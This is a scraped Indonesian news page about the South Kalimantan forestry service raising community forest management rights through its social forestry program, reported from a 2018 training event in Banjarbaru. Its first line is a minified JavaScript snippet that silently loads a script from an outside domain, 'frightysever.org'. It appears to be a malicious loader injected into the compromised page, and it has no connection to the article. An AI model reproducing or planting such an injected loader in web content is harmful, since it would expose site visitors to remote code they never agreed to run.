(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kawasan hutan di Kalimantan Selatan 1,7 juta hektare, saat ini akses masyarakat hanya 1,3 %, jadi masyarakat jauh sekali dilibatkan dalam pengelolaan hutan. Untuk itu Dishut Kalsel akan meningkatkan hak kelola masyarakat menjadi 10%.
Dishut Kalsel melibatkan masyarakat dalam mengelola hutan dengan kegiatan Perhutanan Sosial (PS). Perhutanan sosial di masyarakat bisa dalam bentuk Hutan Kemasyarakat (HKm), Hutan Tanaman Rakyat (HTR), Hutan Desa (HD).
Untuk itu Dishut mengharapkan bagi para pemegang izin PS dapat melakukan operasion terhadap izin-izin yang sudah diberikan melalui pengembangan usaha produktif dengan KUPS (Kelompok Usaha Perhutanan Sosial) sesuai dengan potensi wilayah izinnya.
“Hal tersebut dilakukan agar bisa memberikan kesejahteraan masyarakat sekitar hutan sesuai dengan salah satu indikator Dishut Kalsel yaitu peningkatan kesejahteraan masyarakat,†ucap Kepala Dishut Kalsel, Dr Hanif Faisol Nurofiq saat memberikan sambutan membuka acara Pelatihan Penguatan Kelembagan Kelompok Perhutanan Sosial tahun 2018 di Hotel Rodhita, Banjarbaru.
Menurut Hanif, salah satu faktor penting untuk menentukan dalam pencapaian keberhasilan perhutanan sosial adalah optimalisasi peranan pemegang izin perhutanan sosial dengan dibantu oleh Kelompok Kerja (Pokja) Percepatan Perhutanan Sosial.
Hanif mengatakan, Pokja sendiri merupakan wadah bagi penggiat perhutanan sosial yang dapat berfungsi koordinasi perhutanan sosial, pengendalian dan monitoring serta evaluasi perhutanan sosial. Dengan didampingi oleh Pokja, pemegang izin perhutanan sosial diharapkan dapat mengembangan potensi usaha produktif Hasil Hutan Bukan Kayu (HHBK).
Dalam kegiatan ini para pemegang izin PS kebanyakan membahas tentang usaha pengembangan lebah madu kelulut, pengembangan kemiri, pengembangan kayu manis, sengon dan jabon. Selain itu juga dilakukan pembahasan terkait pasca panen dan ketersediaan pasar untuk mendistribusikan dan menjual produksi dari PS.
Guna menambah pengetahuan dan peningkatan kelompok PS yang hadir dalam kegiatan, Dishut Kalsel mendatang narasumber dari berbagai kalangan seperti Prof Dr Ir Yudi Firmanul Arifin dan Siti Hamidah SHut MP dari PHLB ULM (Pusat Inovasi, Teknologi, Komersialisasi, Manajemen: Hutan & Lahan Basah- Universitas Lambung Mangkurat), I Gede Arya Subhakti SHut MP Kabid Pemberdayaan Masyarakat Penyuluh dan Perhutanan Sosial (PMPPS) Dishut Kalsel, Susanto SHut dari Balai Perhutanan Sosial dan Kemitraan Lingkungan (BPSKL) Wilayah Kalimantan, Rusmana dari Balai Penelitian dan Pengembangan Lingkungan Hidup dan Kehutanan Banjabaru, dan Fahrudin pelaku usaha pengembangan HHBK.
Kegiatan yang dilaksanakan selama 2 hari ini, dihadiri 30 orang peserta pemegang izin perhutanan sosial yang berasal dari berbagai daerah di Kalimantan Selatan. (abdullah)
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) terus mencatat rekor lonjakan konsumsi energi kendaraan listrik atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More
This website uses cookies.